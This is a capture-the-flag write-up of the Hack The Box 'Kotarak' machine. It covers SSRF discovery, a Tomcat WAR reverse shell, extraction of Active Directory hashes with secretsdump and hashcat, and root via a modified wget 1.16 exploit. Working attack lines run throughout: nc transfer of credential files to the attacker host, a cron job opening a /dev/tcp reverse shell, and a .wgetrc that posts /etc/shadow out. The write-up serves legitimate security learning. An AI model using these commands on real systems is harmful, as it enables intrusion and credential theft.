Hack The Box - Kotarak Machine Write-up


( I wrote this English version to share my approach with more people. I’m not a native English speaker, so if something sounds weird or the grammar slips, appreciate your understanding. )

kotarak.png

Intro

This machine is officially rated Hard, but many people seem to rate it Medium. I spent more time on privilege escalation, and the rest felt fine overall. The machine includes many sites that are not important at all, so don't fall into rabbit holes. This write-up shows exactly how I did it.

Enumeration

Start with an nmap scan.

┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV -p 22,8009,8080,60000 10.129.1.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 08:47 EDT
Nmap scan report for 10.129.1.117
Host is up (0.068s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods: 
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title:         Kotarak Web Hosting        
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.34 seconds


On port 8080, saw a 404 page with nothing interesting. Only noted the version: Apache Tomcat 8.5.5

kotarak1.png


Next, port 60000 was a private web browser.

kotarak2.png

Submitted 1234 as a quick test.

kotarak3.png

As expected, nothing useful. I noticed the path parameter and suspected LFI.


Tried multiple payloads and only got “try harder,” so the entry point was likely not here.

kotarak4.png
kotarak5.png


Next I tested SSRF. Supplying ?path=http://127.0.0.1:8080 returned the same 404 page as before, which basically confirmed this vulnerability.

kotarak6.png

Used Burp Intruder to enumerate ports 1–65535.

kotarak7.png

Most results were useless, until testing port 888.

kotarak8.png

In backup, found Tomcat credentials admin/3@g01PdhB!

kotarak9.png


Back on port 8080, Tomcat’s manager page was at /manager/html ; logged in successfully as admin!

kotarak10.png

Reverse Shell

After looking up some information, I found that we could get a reverse shell by uploading a war file. Reference:https://medium.com/@mingihongkim/exploiting-java-portlets-with-a-malicious-war-file-to-gain-a-reverse-shell-2504909f71c1

Compiled the file and packed it into a WAR.

┌──(samchen㉿kali)-[~/Desktop/ReverseShell]
└─$ javac --release 8 -cp /usr/share/java/servlet-api-4.0.1.jar -d WEB-INF/classes ShellServlet.java
warning: [options] source value 8 is obsolete and will be removed in a future release
warning: [options] target value 8 is obsolete and will be removed in a future release
warning: [options] To suppress warnings about obsolete options, use -Xlint:-options.
3 warnings
                                                                                                                                                                                                                                                                                                                                                                                                                  
┌──(samchen㉿kali)-[~/Desktop/ReverseShell]
└─$ jar -cvf ReverseShell8.war .
added manifest
adding: ReverseShell.war(in = 1919) (out= 1422)(deflated 25%)
adding: ShellServlet.java(in = 464) (out= 265)(deflated 42%)
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/classes/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/classes/ShellServlet.class(in = 943) (out= 542)(deflated 42%)
adding: WEB-INF/web.xml(in = 265) (out= 99)(deflated 62%)
adding: reverse.war(in = 1919) (out= 1422)(deflated 25%)

┌──(samchen㉿kali)-[~/Desktop/ReverseShell]
└─$ jar -tf ReverseShell8.war | sed -n '1,200p'
META-INF/
META-INF/MANIFEST.MF
ReverseShell.war
ShellServlet.java
WEB-INF/
WEB-INF/classes/
WEB-INF/classes/ShellServlet.class
WEB-INF/web.xml
reverse.war

Set up a listener on the attacker machine.

nc -lvnp 5673

Uploaded the file and browsed to its path. Successfully obtained a shell!

kotarak11.png

However, as tomcat, We did not have permission to read user.txt.

kotarak12.png


Went into the tomcat directory and found previously captured AD data in pentest_data:NTDS.DIT and the SYSTEM registry hive.

kotarak13.png

First, transferred both files back to the attacker machine.

# set up a listener on the attacker machine
nc -lvnp 9001 > ntds_bundle.tgz

# package on the target and send
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ file 2017*_*.dit 2017*_*.bin
<mcat/to_archive/pentest_data$ file 2017*_*.dit 2017*_*.bin
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ tar -czf ntds_bundle.tgz 2017*.dit 2017*.bin
<mcat/to_archive/pentest_data$ tar -czf ntds_bundle.tgz 2017*.dit 2017*.bin
 
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ ls -lh ntds_bundle.tgz
<mcat/to_archive/pentest_data$ ls -lh ntds_bundle.tgz
-rw-r----- 1 tomcat tomcat 4.0M Oct 13 11:48 ntds_bundle.tgz

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.14.47 9001 < ntds_bundle.tgz
<mcat/to_archive/pentest_data$ nc 10.10.14.47 9001 < ntds_bundle.tgz


Then, used Impacket’s secretsdump to extract account hashes.

┌──(samchen㉿kali)-[~/Desktop]
└─$ impacket-secretsdump -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -ntds   20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit LOCAL -outputfile hashes 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
...
atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
atanas:des-cbc-md5:6b80e391f113542a
[*] Cleaning up... 

Noticed atanas and Administrator, pulled them out separately, and ran hashcat.

┌──(samchen㉿kali)-[~/Desktop]
└─$ grep -E '^(atanas|Administrator):' hashes.ntds > target.ntds

┌──(samchen㉿kali)-[~/Desktop]
└─$ hashcat -m 1000 --username -a 0 target.ntds /usr/share/wordlists/rockyou.txt -O
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz, 6956/13913 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 27
...
Time.Estimated...: Tue Oct 14 01:48:26 2025 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-27 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3637.4 kH/s (0.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests (total), 0/2 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 6538/14344385 (0.05%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !145as8* -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util:  3%
...
                                                                                                                                                                                                          
┌──(samchen㉿kali)-[~/Desktop]
└─$ hashcat -m 1000 --username target.ntds --show                                  

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Administrator:e64fe0f24ba2489c05e64354d74ebd11:f16tomcat!

Cracked the Administrator password f16tomcat!


Tried this password for atanas, logged in, and grabbed user.txt!

kotarak14.png

Final Privilege Escalation

During recon, I noticed two files under /root:app.log and flag.txt .

atanas@kotarak-dmz:/$ cd root
cd root
atanas@kotarak-dmz:/root$ ls
ls
app.log  flag.txt
atanas@kotarak-dmz:/root$ cat flag.txt
cat flag.txt
Getting closer! But what you are looking for can't be found here.
atanas@kotarak-dmz:/root$ cat app.log
cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

The logs show a GET to /archive.tar.gz on the machine every two minutes. Noted that the wget version is 1.16. Searched the version and found a RCE lead on Exploit-DB.

kotarak15.png

Here is a simple explanation of why exploiting this weakness gives root: the target’s wget 1.16 is triggered by a root cron job; during exploitation, .wgetrc is written into /root , then /etc/shadow is POSTed back, and the payload we return is saved to /etc/cron.d , and executed. These paths are writable only by root, which means the entire RCE completes under root privileges.


I tweaked the public PoC:

...
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.14.47' # attacker machine IP
FTP_PORT = 21

# set attacker machine IP and port
ROOT_CRON = "* * * * * root /bin/bash -c 'exec 0<>/dev/tcp/10.10.14.47/1002; /bin/bash <&0 >&0 2>&0'\\n"
...

Created .wgetrc

┌──(samchen㉿kali)-[~/Desktop]
└─$ cat <<_EOF_ > .wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_

Then, started the FTP server.

sudo python3 -m pyftpdlib -p 21 -w

Set up a listener on the attacker machine.

nc -lvnp 1002


Finally, uploaded the exploit to the target and executed it.

atanas@kotarak-dmz:/tmp$ wget http://10.10.14.47:8000/exploit.py           
wget http://10.10.14.47:8000/exploit.py
--2025-10-14 03:16:53--  http://10.10.14.47:8000/exploit.py
Connecting to 10.10.14.47:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2634 (2.6K) [text/x-python]
Saving to: ‘exploit.py’

exploit.py          100%[===================>]   2.57K  --.-KB/s    in 0s      

2025-10-14 03:16:53 (392 MB/s) - ‘exploit.py’ saved [2634/2634]

atanas@kotarak-dmz:/tmp$ authbind python exploit.py        
authbind python exploit.py
Ready? Is your FTP server running?
FTP found open on 10.10.14.47:21. Let's go then

Serving wget exploit on port 80...


We have a volunteer requesting /archive.tar.gz by GET :)

Uploading .wgetrc via ftp redirect vuln. It should land in /root 

10.0.3.133 - - [14/Oct/2025 03:20:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.10.14.47:21/.wgetrc 

We have a volunteer requesting /archive.tar.gz by POST :)

Received POST from wget, this should be the extracted /etc/shadow file: 

---[begin]---
 root:*:17366:0:99999:7:::
...
---[eof]---


Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [14/Oct/2025 03:22:01] "POST /archive.tar.gz HTTP/1.1" 200 -

File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) 


After waiting for the cronjob to trigger, successfully obtained a root shell and grabbed root.txt!

kotarak16.png
kotarak17.png